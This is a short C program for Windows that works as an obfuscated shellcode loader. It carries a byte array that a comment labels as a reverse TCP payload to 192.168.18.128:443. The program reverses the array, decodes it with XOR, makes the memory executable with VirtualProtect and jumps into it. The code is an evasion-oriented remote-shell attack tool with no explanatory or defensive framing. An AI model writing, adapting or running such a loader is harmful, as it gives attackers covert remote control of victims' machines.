#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winbase.h>


//192.168.18.128 443 reverse_tcp
char met0[] =
"\x53\x79\xac\xff\x53\xc6\x05\x0e\xe6\x5c\xe8\x6f\x94\xd9\x95"
"\x85\x90\xad\xac\x53\xac\xdd\xba\x88\x5f\x53\x0d\xf2\x86\x53"
"\x32\xe1\x3d\xd9\x3b\xfb\x86\x53\x63\xa3\x7c\xa7\x3b\xfc\x53"
"\xc6\x53\xac\x13\xac\x3b\xf4\x71\xd1\x53\x54\xd0\x79\xac\xf3"
"\x9b\x75\x51\xc4\x04\xff\x05\xac\x39\xff\xc0\x79\xac\x49\x00"
"\x08\x0b\xc4\x53\xc6\x05\xac\x53\xbc\x53\xc4\x13\xc6\x65\x27"
"\x65\xd2\x53\x54\xd0\x79\xac\xf3\x9b\x75\x51\xc4\x04\xfa\x57"
"\xc6\x53\xc6\x53\xac\x53\xcd\xbb\x40\x26\xa4\x1d\x53\x59\xd8"
"\x93\x29\x86\x53\x32\xd8\xf6\x35\x3b\xfb\x05\xbc\x39\x3b\x86"
"\x53\xb3\x73\x5c\x46\x3b\xfc\x13\xfc\x13\xfc\x03\xfc\x03\x4a"
"\xda\x17\x52\xac\x51\xc4\xd3\xbe\xfb\x6c\x3b\xa9\x39\x79\xac"
"\xac\x38\x2c\x7a\xc4\x03\xf8\x97\x85\x53\xac\x52\x3c\xeb\x79"
"\xac\xab\x75\xdb\x1f\xc4\x07\xf3\x61\xdf\x24\xc4\x53\xac\x61"
"\x9f\x3b\xf1\xde\x47\x41\x27\x09\xf3\x0c\x4c\xac\xfd\x09\xf5"
"\x32\xf7\x08\x88\x77\xe8\xda\x7c\x52\x27\x57\x27\x80\xad\x4f"
"\xf4\xd8\xe7\x5f\x27\x35\x7f\x52\x88\x0b\x27\x0b\x48\x26\x88"
"\x2e\x97\xab\xd1\x50\x5a\x26\x4c\x6b\x6b\x52\xa1\x9c\x6d\xff"
"\x53\x62\x7a\x52\x27\x67\x27\x1a\x96\xb0\xb4\x1a\x27\x80\xad"
"\x73\xf5\xd8\xfd\x82\xad\x1b\x4f\x2b\xbd\x1f\x27\x6f\xe6\xd8"
"\xbc\x01\x27\x04\xfe\xa1\x4e\x94\xad\x5e\x63\x92\x8c\x7f\xae"
"\x2f\xcd\x6f\x00\xac\x9d\x75\xe6\xe4\xa3\x7b\xde\xd8\xb8\x01"
"\x27\x5f\xfe\xd8\x9c\x03\x27\x37\x6c\x62\x49\xda\xcc\x53\xac"
"\x53\x2e\xbb\x50";

char met[334];


void init()
{
	int i;
	for (i = 0; i < 335; i++)
	{
		met[i] = met0[334 - i];
		if (i % 2 == 0)
			met[i] ^= 83;
		else
			met[i] ^= 172;
	}
}


int main()
{
	init();
	DWORD old = 0;
	BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
	INT32 * addr;
	addr = (INT32*)&met;

	__asm;
	{
		call addr;
	}
	return 0;
}